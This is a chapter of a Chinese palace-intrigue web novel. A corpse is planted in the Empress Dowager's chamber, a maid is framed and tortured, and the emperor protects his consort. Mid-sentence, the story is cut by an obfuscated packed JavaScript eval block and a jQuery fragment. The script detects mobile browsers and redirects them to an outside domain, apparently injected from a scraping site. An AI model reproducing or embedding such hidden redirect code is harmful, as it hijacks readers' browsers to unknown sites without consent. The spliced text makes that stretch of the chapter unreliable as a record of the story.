子时,宫中归于寂静,只有巡守换防禁卫的脚步声。


    太后最近的睡眠并不好,总要靠安神汤和安神香才能入睡,而且睡眠都很浅。


    睡梦中,太后突然感到脸上湿黏一片,用手一抹,铁锈般的气息在鼻间散开。


    她猛然惊醒,指尖一抹猩红随着烛火清晰的映入眼帘。


    反应过来这是什么后,一声尖叫打破了仁康宫的宁静。


    “啊——”


    太后连忙往后退,却发现床上空间太小,她想下地,谁知刚走没几步就被绊倒,回头一看,一个批头散发面色苍白的女人出现在她眼前。


    “太后娘娘”,守夜的小宫女听到动静就连忙进来,上前将倒在地上的太后扶起。


    太后甩开她的手,一把将她推向后面那个倒地的女人,声音里还打着哆嗦:


    “快,快将她抬走。”


    小宫女叫花容,待看清地上是什么的时候手上的烛台也差点没拿稳。


    可她不敢忤逆太后,只能颤颤巍巍的将地上的人扶起,那人就像是一摊烂泥,将重量全部压在了她的身上。


    “这是怎么了?”


    花容看到王嬷嬷的到来就像是看到了主心骨,仁康宫内,也就只有她能让太后听几句劝。


    王嬷嬷给花容使了个眼色,花容麻溜地扛着人的出去。


    寝殿门口同样陆陆续续过来一群不知发生了什么的小宫女和太监,但她们都穿戴整齐,一看就不是临时被叫起来的。


    她本想在不惊动其他人的情况下将人挪走,但现在应该是不可能了。


    “你们怎么来了?”


    “花容姑姑,不是你叫我们来的吗?”


    其中一位名叫冬月的宫女大着胆子道。


    “我何时……”话说一半,花容闭上了眼,用脚趾头想想也该知道是被人算计了。


    殿内,太后看着早已恢复冷静,说出的话却依旧颠三倒四,她看向王嬷嬷:


    “是他,是他要害哀家!”


    这个“他”是谁不言而喻。


    王嬷嬷轻声叹息,看着眼前有些疯癫的太后,其实太后之前也不这样,遇事也是不慌不忙,落落大方。


    这种状态似乎是从先帝驾崩后才开始的。


    “太后息怒,刚刚那宫女,是咱们事先安排在蓬莱殿的。”


    仅是刚刚的一个照面,王嬷嬷就将人认了出来。


    没办法,那些人都是她亲自安排的,当初排到蓬莱殿也只是因为那里地理位置好,能住进去的当是位宠妃。


    如今看来,果然如此。


    “你的意思是说,是那沈氏要害哀家?”


    太后冷哼一声:“哀家可没糊涂到这种地步,即便是沈家也没有能力绕过满宫禁卫还拖着一个尸首将人送进仁康宫。”


    王嬷嬷哑然。


    这时,门口突然传来喧闹声。


    “怎么回事?”


    太后被吵的头疼,不悦的向门口走去。


    ……


    门口的小宫女问起花容肩上扛着的是谁,花容不紧不慢的答道:


    “今夜一起值夜的妹妹,突然晕倒了,太后特许我带她去寻太医。”


    众人听了无不夸赞太后仁善,顺带着也夸了花容。


    可总有不合时宜的声音出现。


    “月貌今日不是告假了吗?”


    而后只见冬月惊恐的指着花容扛在身上的宫女:


    “你…你居然杀人了!”


    天色太暗,今夜的月亮被乌云覆盖着,庭中除了花容手上的烛火再无光亮。


    这会儿仔细看那人似乎正在流血。


    花容眼底闪过一丝慌张,她现在进退两难,正想着先将人处理掉时,脚底不知哪里来的石子使她踉跄一步。


    肩上扛着的人也随之落下,那样子分明已是死了多时,有胆小的也死死捂着嘴,生怕吵到了里面的贵人。


    可太后还是出来了。


    “发生何事?怎么都聚集在这?”王嬷嬷沉声问道。


    早在听到叫声时她就预感不对,让她们好好待在房中不要出来。


    冬月自然明白王嬷嬷问的是何事,她面上带着恰到好处的疑惑:


    “不是花容姑姑让我们来的吗?她说太后有重要的事找我们。”


    就在这时,王嬷嬷先前派去宫女寝殿里的太监回来了,他一个滑跪到太后面前,不停的扇着自己巴掌:


    “奴才该死,奴才该死。”


    太后拧眉,这是她烦躁的标志,王嬷嬷道:


    “什么情况?还不速速招来?”


    “奴才刚刚去传话时,人已经全走了,只留下一个叫月貌的,今日因为生病告了假,她说是花容姑姑让她们过来的。”


    几方作证下花容瘫倒在地。


    “太后娘娘,她还杀了一个小宫女。”冬月提醒道。


    太后突然对今天晚上的事有了托词,用眼神暗示王嬷嬷,对方会意,严厉道:


    “大胆,竟然敢在太后寝殿中行凶。”


    “来人,还不速速拉到慎刑司审问?”


    花容被拖走时还在喊冤,指甲扒着地面形成了一道长长的血痕。


    太后和王嬷嬷却连眼睛都不眨,其余人更是屏住呼吸,噤若寒蝉,生怕波及到自己。


    明眼人都知道花容是被冤枉的,可那又能怎么样?真相如何还不是主子们一句话的事。


    太后让人把地上那具尸体也一并送到慎刑司勘验。


    将人送走后,她才有时间看向方才闹事的宫女。


    冬月此时一动不动,像是被吓傻了般。


    太后可不吃她这一套,别以为她看不出来,这人刚刚就是在拱火。


    “此人大呼小叫,殿前失仪,三十棍,打出去。”


    冬月一听便慌了,三十棍,不得皮开肉绽?


    这还是最好的结果,大部分都是在行刑中就咽了气。


    她大声求饶,却无一人施以援手。


    ……


    消息传到慕春杳这儿时,他才刚帮沈岁安沐过浴,正准备歇下。


    听到声音,他不悦的皱皱眉,生怕怀中的人被吵醒。


    确认沈岁安还睡着后,慕春杳才走了出去:


    “苏成,朕发现你是越来越会办事了。”


    苏成为自己掐了把冷汗,谄媚的笑着,将事情捡着重点大致说了一通,临了还问慕春杳要不要去仁康宫看看,这会儿应该还正热闹着。


    慕春杳摇头:“看着点慎刑司,什么该说什么不该说你应该知道。”


    人是从蓬莱殿出去的,难保不会有人做文章。


    苏成走后,慕春杳复又进去,床上的人睡觉并不老实,被子已经被踢到了脚边,露出一大片雪白的肌肤,上面有片片红梅,都是他刚刚留下的痕迹。


    看着这些,慕春杳感到刚刚才平复下去的燥意复又上来,他第一次觉得自己的自制力如此之差。


    他上前将被子给沈岁安掖好,但又担心她热,让苏成取了冰鉴摆在了屋内。


    沈岁安眉头这才伸展,无意识的钻到了慕春杳的怀中,蹭了蹭他的胸口。


    慕春杳也回抱过去。


    一夜好梦。


    ……


    沈岁安醒时慕春杳已经不在,她起身,感觉到浑身酸痛。


    “嘶——”


    狗男人!沈岁安咬牙切齿。


    早朝上,众人发现今日的陛下似乎很好说话,正在心中暗自猜测原因时,礼官传唱道:“宣威将军到——”


    朝臣惊诧,现如今谁人不知宣威将军解泠舟的威名。


    身为镇军大将军独子,却在十五岁时独自投军,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241101|180822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从小兵做起,屡立战功,一步一步走到现在,军中无人不服。


    匈奴人为什么这次急于和亲,不就是因为被这位小将军打怕了,这才急于求和,不然这战还要再拖几年。


    最重要的是,解泠舟从小跟着陛下,又是当初的太子伴读,当初能成功从京都脱身,没有被镇军大将军追上,其中未尝没有陛下的手笔。


    说一句陛下的左膀右臂也不为过。


    恐怕今日过后,京都又要重新洗牌,镇军大将军的门槛都能被踏破。


    “臣解泠舟参见陛下。”


    “免礼。”


    “昨日是大朝会,泠舟怎么不早一天回来?”


    “陛下知道的,臣一向不爱这种热闹,正好躲懒了。”


    君臣二人相谈甚欢,将刚刚上奏的李怀志晾在一边。


    太后昨天晚上就跟本家通了气,但今日李氏家主并没有在,而是提前告假,让旁支来处理。


    李怀志现任翰林院修编,手上并无实权,就算是被弃也无关痛痒,家族损失不了什么。


    倘若惹了陛下不悦,怒火也是由他一人承担。


    “陛下”,李怀志只能厚着脸皮继续道:“太后昨日……”


    慕春杳摆摆手,显然不欲多说:“朕已经交由慎刑司处理,李爱卿今日再提,难道是想交给大理寺?还是不信朕?”


    接到暗示的大理寺卿立马道:“陛下,这于礼不合,大理寺并无资格管□□纷争。”


    李怀志只能讪讪闭嘴。


    解泠舟在一旁站着,想起昨日太后在后宫做了什么,看着李怀志,像是要把人盯出个窟窿。


    上过战场的人自带一股杀伐之气,盯着一个人时就像是一匹蛰伏多时的狼,好像下一瞬就要上前将人撕碎。


    但这眼神也没持续多久,李怀志心中一阵发毛,当他再看过去时解泠舟已经将头扭了过去,好像刚刚那一眼只是幻觉。


    ……


    牢房里,花容已经被打的皮开肉绽,身上没有一块好地方。


    慎刑司为了让犯人招供可谓是无所不用其极,这是慎刑司条件最差的牢房,阴暗潮湿不说,老鼠蟑螂遍地跑,地上还全是粪便和尿液的痕迹,显然之前待过的人吃喝拉撒全在这里解决。


    “真是晦气,一介罪奴也配涂药?”


    陈公公一脸无奈:“没办法,上面说了,别让人死,我也是奉命行事。”


    “快去快去。”


    管事的有些不耐烦,好像多踏足一步都嫌脏。


    管事的刚走,花容看清来人,吓的瞳孔一缩,连忙道:“陈…公公,还请太后放心,我,我没有出卖仁康宫,不要动我的家人。”


    陈公公还是拿副好说话的样子,他将手放在花容的脸上:“好姑娘,太后娘娘平日没白疼你。”


    他凑近,在花容耳边说了几句话,花容眼含泪光摇头,似在做极大的心理挣扎。


    “不…不要。”


    陈公公知道怎么拿捏她:“你也不想让太后就这样不明不白的被害了吧,就算你不记得太后的恩情,你的家人可是记得清楚的很。”


    花容咬牙道:“好。”


    慕春杳下了早朝,正要和解泠舟一起回书房议事,看到苏成不知听到了什么,脸色大变。


    “发生何事?”


    苏成心一颤,想着完蛋了的同时也知道事情的轻重缓急,连忙道:


    “陛下,刚刚慎刑司那位交代,是贵妃娘娘指示她在仁康宫行凶,本想刺杀太后,但最后关头是那宫女冲上来为太后挡了一刀,随即毙命。”


    “太…太后,现在已经亲自带着人去蓬莱殿拿人了。”


    越说他的头越低,随时准备好迎接帝王的怒火。


    慕春杳的脸色难看,什么好心情全没了,没时间算苏成的账,他快步向蓬莱殿赶去。